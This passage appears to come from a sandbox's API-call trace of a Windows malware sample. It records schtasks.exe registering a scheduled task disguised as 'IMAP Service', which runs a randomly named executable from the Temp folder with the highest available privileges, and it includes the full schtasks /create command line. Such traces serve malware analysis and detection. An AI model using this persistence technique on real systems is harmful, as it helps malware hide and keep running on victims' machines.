_BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.880] lstrlenW (lpString="|sc|") returned 4 [0175.880] lstrlenW (lpString="|xml|") returned 5 [0175.880] SetLastError (dwErrCode=0x490) [0175.880] lstrlenW (lpString="mo") returned 2 [0175.880] lstrlenW (lpString="mo") returned 2 [0175.880] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.880] lstrlenW (lpString="xml") returned 3 [0175.880] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.880] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|mo|") returned 4 [0175.880] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.880] lstrlenW (lpString="|mo|") returned 4 [0175.880] lstrlenW (lpString="|xml|") returned 5 [0175.880] SetLastError (dwErrCode=0x490) [0175.880] lstrlenW (lpString="d") returned 1 [0175.880] lstrlenW (lpString="d") returned 1 [0175.880] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.880] lstrlenW (lpString="xml") returned 3 [0175.880] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.880] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|d|") returned 3 [0175.880] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.880] lstrlenW (lpString="|d|") returned 3 [0175.880] lstrlenW (lpString="|xml|") returned 5 [0175.880] SetLastError (dwErrCode=0x490) [0175.880] lstrlenW (lpString="m") returned 1 [0175.880] lstrlenW (lpString="m") returned 1 [0175.880] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.880] lstrlenW (lpString="xml") returned 3 [0175.880] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.880] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|m|") returned 3 [0175.880] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.880] lstrlenW (lpString="|m|") returned 3 [0175.880] lstrlenW (lpString="|xml|") returned 5 [0175.880] SetLastError (dwErrCode=0x490) [0175.880] lstrlenW (lpString="i") returned 1 [0175.880] lstrlenW (lpString="i") returned 1 [0175.880] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.880] lstrlenW (lpString="xml") returned 3 [0175.880] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.881] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|i|") returned 3 [0175.881] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.881] lstrlenW (lpString="|i|") returned 3 [0175.881] lstrlenW (lpString="|xml|") returned 5 [0175.881] SetLastError (dwErrCode=0x490) [0175.881] lstrlenW (lpString="tn") returned 2 [0175.881] lstrlenW (lpString="tn") returned 2 [0175.881] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.881] lstrlenW (lpString="xml") returned 3 [0175.881] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.881] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tn|") returned 4 [0175.881] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.881] lstrlenW (lpString="|tn|") returned 4 [0175.881] lstrlenW (lpString="|xml|") returned 5 [0175.881] SetLastError (dwErrCode=0x490) [0175.881] lstrlenW (lpString="tr") returned 2 [0175.881] lstrlenW (lpString="tr") returned 2 [0175.881] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.881] lstrlenW (lpString="xml") returned 3 [0175.881] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.881] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|tr|") returned 4 [0175.881] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.881] lstrlenW (lpString="|tr|") returned 4 [0175.881] lstrlenW (lpString="|xml|") returned 5 [0175.881] SetLastError (dwErrCode=0x490) [0175.881] lstrlenW (lpString="st") returned 2 [0175.881] lstrlenW (lpString="st") returned 2 [0175.881] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.881] lstrlenW (lpString="xml") returned 3 [0175.881] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.881] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|st|") returned 4 [0175.881] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.881] lstrlenW (lpString="|st|") returned 4 [0175.881] lstrlenW (lpString="|xml|") returned 5 [0175.881] SetLastError (dwErrCode=0x490) [0175.881] lstrlenW (lpString="sd") returned 2 [0175.881] lstrlenW (lpString="sd") returned 2 [0175.881] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.881] lstrlenW (lpString="xml") returned 3 [0175.881] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.881] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|sd|") returned 4 [0175.881] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.881] lstrlenW (lpString="|sd|") returned 4 [0175.881] lstrlenW (lpString="|xml|") returned 5 [0175.881] SetLastError (dwErrCode=0x490) [0175.881] lstrlenW (lpString="ed") returned 2 [0175.881] lstrlenW (lpString="ed") returned 2 [0175.881] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.881] lstrlenW (lpString="xml") returned 3 [0175.881] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.881] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ed|") returned 4 [0175.881] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.881] lstrlenW (lpString="|ed|") returned 4 [0175.882] lstrlenW (lpString="|xml|") returned 5 [0175.882] SetLastError (dwErrCode=0x490) [0175.882] lstrlenW (lpString="it") returned 2 [0175.882] lstrlenW (lpString="it") returned 2 [0175.882] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.882] lstrlenW (lpString="xml") returned 3 [0175.882] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.882] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|it|") returned 4 [0175.882] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.882] lstrlenW (lpString="|it|") returned 4 [0175.882] lstrlenW (lpString="|xml|") returned 5 [0175.882] SetLastError (dwErrCode=0x490) [0175.882] lstrlenW (lpString="et") returned 2 [0175.882] lstrlenW (lpString="et") returned 2 [0175.882] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.882] lstrlenW (lpString="xml") returned 3 [0175.882] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.882] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|et|") returned 4 [0175.882] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.882] lstrlenW (lpString="|et|") returned 4 [0175.882] lstrlenW (lpString="|xml|") returned 5 [0175.882] SetLastError (dwErrCode=0x490) [0175.882] lstrlenW (lpString="k") returned 1 [0175.882] lstrlenW (lpString="k") returned 1 [0175.882] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.882] lstrlenW (lpString="xml") returned 3 [0175.882] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.882] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|k|") returned 3 [0175.882] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.882] lstrlenW (lpString="|k|") returned 3 [0175.882] lstrlenW (lpString="|xml|") returned 5 [0175.882] SetLastError (dwErrCode=0x490) [0175.882] lstrlenW (lpString="du") returned 2 [0175.882] lstrlenW (lpString="du") returned 2 [0175.882] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.882] lstrlenW (lpString="xml") returned 3 [0175.882] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.882] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|du|") returned 4 [0175.882] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.882] lstrlenW (lpString="|du|") returned 4 [0175.882] lstrlenW (lpString="|xml|") returned 5 [0175.882] SetLastError (dwErrCode=0x490) [0175.882] lstrlenW (lpString="ri") returned 2 [0175.882] lstrlenW (lpString="ri") returned 2 [0175.882] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.882] lstrlenW (lpString="xml") returned 3 [0175.882] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.882] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|ri|") returned 4 [0175.882] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.882] lstrlenW (lpString="|ri|") returned 4 [0175.882] lstrlenW (lpString="|xml|") returned 5 [0175.882] SetLastError (dwErrCode=0x490) [0175.882] lstrlenW (lpString="z") returned 1 [0175.882] lstrlenW (lpString="z") returned 1 [0175.883] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.883] lstrlenW (lpString="xml") returned 3 [0175.883] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.883] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|z|") returned 3 [0175.883] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.883] lstrlenW (lpString="|z|") returned 3 [0175.883] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.883] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.883] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x4, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|f|") returned 3 [0175.883] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.883] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.883] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.883] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x5, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|v1|") returned 4 [0175.883] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.883] _memicmp (_Buf1=0x4e4c20, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.883] _memicmp (_Buf1=0x4e4c50, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.883] _vsnwprintf (in: _Buffer=0x4e5298, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.883] _vsnwprintf (in: _Buffer=0x4e5258, _BufferCount=0x6, _Format="|%s|", _ArgList=0x14ce2c | out: _Buffer="|xml|") returned 5 [0175.883] StrStrIW (lpFirst="|xml|", lpSrch="|xml|") returned="|xml|" [0175.883] SetLastError (dwErrCode=0x0) [0175.883] SetLastError (dwErrCode=0x0) [0175.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59 [0175.883] StrChrIW (lpStart="-/", wMatch=0x43) returned 0x0 [0175.883] SetLastError (dwErrCode=0x490) [0175.883] SetLastError (dwErrCode=0x490) [0175.883] SetLastError (dwErrCode=0x0) [0175.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59 [0175.883] StrChrIW (lpStart="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", wMatch=0x3a) returned=":\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp" [0175.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59 [0175.883] _memicmp (_Buf1=0x4e4c68, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.883] _memicmp (_Buf1=0x4e4c98, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0175.883] SetLastError (dwErrCode=0x7a) [0175.883] SetLastError (dwErrCode=0x0) [0175.883] SetLastError (dwErrCode=0x0) [0175.883] lstrlenW (lpString="C") returned 1 [0175.883] SetLastError (dwErrCode=0x490) [0175.883] SetLastError (dwErrCode=0x0) [0175.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59 [0175.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59 [0175.883] SetLastError (dwErrCode=0x0) [0175.883] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59 [0175.884] SetLastError (dwErrCode=0x0) [0175.884] CoInitializeEx (pvReserved=0x0, dwCoInit=0x2) returned 0x0 [0175.889] CoInitializeSecurity (pSecDesc=0x0, cAuthSvc=-1, asAuthSvc=0x0, pReserved1=0x0, dwAuthnLevel=0x1, dwImpLevel=0x3, pAuthList=0x0, dwCapabilities=0x0, pReserved3=0x0) returned 0x0 [0175.894] CoCreateInstance (in: rclsid=0xc2230c*(Data1=0xf87369f, Data2=0xa4e5, Data3=0x4cfc, Data4=([0]=0xbd, [1]=0x3e, [2]=0x73, [3]=0xe6, [4]=0x15, [5]=0x45, [6]=0x72, [7]=0xdd)), pUnkOuter=0x0, dwClsContext=0x17, riid=0xc220fc*(Data1=0x2faba4c7, Data2=0x4da9, Data3=0x4013, Data4=([0]=0x96, [1]=0x97, [2]=0x20, [3]=0xcc, [4]=0x3f, [5]=0xd4, [6]=0xf, [7]=0x85)), ppv=0x14d25c | out: ppv=0x14d25c*=0x2c3d70) returned 0x0 [0176.805] TaskScheduler:ITaskService:Connect (This=0x2c3d70, serverName=0x14d1cc*(varType=0x8, wReserved1=0x0, wReserved2=0xd240, wReserved3=0x14, varVal1=0x0, varVal2=0x14db10), user=0x14d1dc*(varType=0x0, wReserved1=0x14, wReserved2=0xd264, wReserved3=0x14, varVal1=0x76679cde, varVal2=0x14db10), domain=0x14d1ec*(varType=0x0, wReserved1=0x0, wReserved2=0x1f8, wReserved3=0x0, varVal1=0x2, varVal2=0x0), password=0x14d1fc*(varType=0x0, wReserved1=0x0, wReserved2=0x9c39, wReserved3=0x7667, varVal1=0x78, varVal2=0x14dc90)) returned 0x0 [0176.807] TaskScheduler:IUnknown:AddRef (This=0x2c3d70) returned 0x2 [0176.807] TaskScheduler:ITaskService:GetFolder (in: This=0x2c3d70, Path=0x0, ppFolder=0x14d300 | out: ppFolder=0x14d300*=0x2c3dd8) returned 0x0 [0176.808] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\temp\\tmp4ef.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000080, hTemplateFile=0x0) returned 0x108 [0176.808] GetFileSizeEx (in: hFile=0x108, lpFileSize=0x14cbf0 | out: lpFileSize=0x14cbf0*=1334) returned 1 [0176.808] ReadFile (in: hFile=0x108, lpBuffer=0x14cbf8, nNumberOfBytesToRead=0x2, lpNumberOfBytesRead=0x14cc00, lpOverlapped=0x0 | out: lpBuffer=0x14cbf8*, lpNumberOfBytesRead=0x14cc00*=0x2, lpOverlapped=0x0) returned 1 [0176.808] SetFilePointer (in: hFile=0x108, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0176.808] ReadFile (in: hFile=0x108, lpBuffer=0x2c2678, nNumberOfBytesToRead=0x537, lpNumberOfBytesRead=0x14cc00, lpOverlapped=0x0 | out: lpBuffer=0x2c2678*, lpNumberOfBytesRead=0x14cc00*=0x536, lpOverlapped=0x0) returned 1 [0176.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2c2678, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 1335 [0176.808] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x2c2678, cbMultiByte=-1, lpWideCharStr=0x4f55b4, cchWideChar=1335 | out: lpWideCharStr="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe\"\r\n $(Arg0)\r\n \r\n \r\n") returned 1335 [0176.808] SysStringLen (param_1="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe\"\r\n $(Arg0)\r\n \r\n \r\n") returned 0x536 [0176.808] VarBstrCat (in: bstrLeft=0x0, bstrRight="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe\"\r\n $(Arg0)\r\n \r\n \r\n", pbstrResult=0x14cba0 | out: pbstrResult=0x14cba0) returned 0x0 [0176.808] CloseHandle (hObject=0x108) returned 1 [0176.808] lstrlenW (lpString="") returned 0 [0176.808] SysStringLen (param_1="") returned 0x0 [0176.808] lstrlenW (lpString="") returned 0 [0176.821] ITaskFolder:RegisterTask (in: This=0x2c3dd8, Path="IMAP Service", XmlText="\r\n\r\n \r\n \r\n \r\n \r\n InteractiveToken\r\n HighestAvailable\r\n \r\n \r\n \r\n Parallel\r\n false\r\n false\r\n true\r\n false\r\n false\r\n \r\n false\r\n false\r\n \r\n true\r\n true\r\n false\r\n false\r\n false\r\n PT0S\r\n 4\r\n \r\n \r\n \r\n \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\hSbFTsTClaogdEEotf.exe\"\r\n $(Arg0)\r\n \r\n \r\n", flags=6, UserId=0x14cbdc*(varType=0x8, wReserved1=0x0, wReserved2=0x4190, wReserved3=0x4f, varVal1="", varVal2=0x4f4190), password=0x14cbec*(varType=0x0, wReserved1=0x4f, wReserved2=0x0, wReserved3=0x0, varVal1=0x14cc74, varVal2=0x775e7526), LogonType=0, sddl=0x14cc00*(varType=0x0, wReserved1=0x4f, wReserved2=0x4190, wReserved3=0x4f, varVal1=0x0, varVal2=0x0), ppTask=0x14cc60 | out: ppTask=0x14cc60*=0x2c3e40) returned 0x0 [0177.416] _memicmp (_Buf1=0x4e4c08, _Buf2=0xc21ed8, _Size=0x7) returned 0 [0177.416] LoadStringW (in: hInstance=0x0, uID=0x12e, lpBuffer=0x4e6658, cchBufferMax=256 | out: lpBuffer="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 0x40 [0177.416] lstrlenW (lpString="SUCCESS: The scheduled task \"%s\" has successfully been created.\n") returned 64 [0177.416] _vsnwprintf (in: _Buffer=0x14cc6c, _BufferCount=0x1fb, _Format="SUCCESS: The scheduled task \"%s\" has successfully been created.\n", _ArgList=0x14cc10 | out: _Buffer="SUCCESS: The scheduled task \"IMAP Service\" has successfully been created.\n") returned 74 [0177.416] _fileno (_File=0x76712920) returned 1 [0177.416] _errno () returned 0x2c07d8 [0177.416] _get_osfhandle (_FileHandle=1) returned 0x7 [0177.416] _errno () returned 0x2c07d8 [0177.416] GetFileType (hFile=0x7) returned 0x2 [0177.416] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0177.416] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x14cbd4 | out: lpMode=0x14cbd4) returned 1 [0177.417] __iob_func () returned 0x76712900 [0177.417] GetStdHandle (nStdHandle=0xfffffff5) returned 0x7 [0177.417] lstrlenW (lpString="SUCCESS: The scheduled task \"IMAP Service\" has successfully been created.\n") returned 74 [0177.417] WriteConsoleW (in: hConsoleOutput=0x7, lpBuffer=0x14cc6c*, nNumberOfCharsToWrite=0x4a, lpNumberOfCharsWritten=0x14cbfc, lpReserved=0x0 | out: lpBuffer=0x14cc6c*, lpNumberOfCharsWritten=0x14cbfc*=0x4a) returned 1 [0178.076] IUnknown:Release (This=0x2c3e40) returned 0x0 [0178.076] IUnknown:Release (This=0x2c3dd8) returned 0x0 [0178.076] TaskScheduler:IUnknown:Release (This=0x2c3d70) returned 0x1 [0178.076] lstrlenW (lpString="") returned 0 [0178.076] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp") returned 59 [0178.076] WideCharToMultiByte (in: CodePage=0x1, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmp4EF.tmp", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 60 [0178.080] exit (_Code=0) Thread: id = 19 os_tid = 0xb74 Process: id = "5" image_name = "taskeng.exe" filename = "c:\\windows\\system32\\taskeng.exe" page_root = "0x7aed3000" os_pid = "0x5c8" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "created_scheduled_job" parent_id = "4" os_parent_pid = "0xb60" cmd_line = "taskeng.exe {05965D02-66FE-4C30-84EF-49C2DFC0C57D} S-1-5-21-3388679973-3930757225-3770151564-1000:XDUWTFONO\\5p5NrGJn0jS HALPmcxz:Interactive:Highest[1]" cur_dir = "C:\\Windows\\system32\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000104d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 20 os_tid = 0x85c Thread: id = 21 os_tid = 0x514 Thread: id = 22 os_tid = 0x64c Thread: id = 23 os_tid = 0x5e0 Thread: id = 24 os_tid = 0x5d4 Thread: id = 25 os_tid = 0x5cc Process: id = "6" image_name = "schtasks.exe" filename = "c:\\windows\\syswow64\\schtasks.exe" page_root = "0x198c8000" os_pid = "0xb78" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "3" os_parent_pid = "0xaf8" cmd_line = "\"schtasks.exe\" /create /f /tn \"IMAP Service Task\" /xml \"C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\tmpD88.tmp\"" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Temp\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:000104d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 597 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 598 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 599 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 600 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 601 start_va = 0x60000 end_va = 0x60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 602 start_va = 0x210000 end_va = 0x24ffff entry_point = 0x0 region_type = private name = "private_0x0000000000210000" filename = "" Region: id = 603 start_va = 0x260000 end_va = 0x29ffff entry_point = 0x0 region_type = private name = "private_0x0000000000260000" filename = "" Region: id = 604 start_va = 0xa90000 end_va = 0xabdfff entry_point = 0xa90000 region_type = mapped_file name = "schtasks.exe" filename = "\\Windows\\SysWOW64\\schtasks.exe" (normalized: "c:\\windows\\syswow64\\schtasks.exe") Region: id = 605 start_va = 0x77c50000 end_va = 0x77df8fff entry_point = 0x77c50000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 606 start_va = 0x77e30000 end_va = 0x77faffff entry_point = 0x77e30000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 607 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" 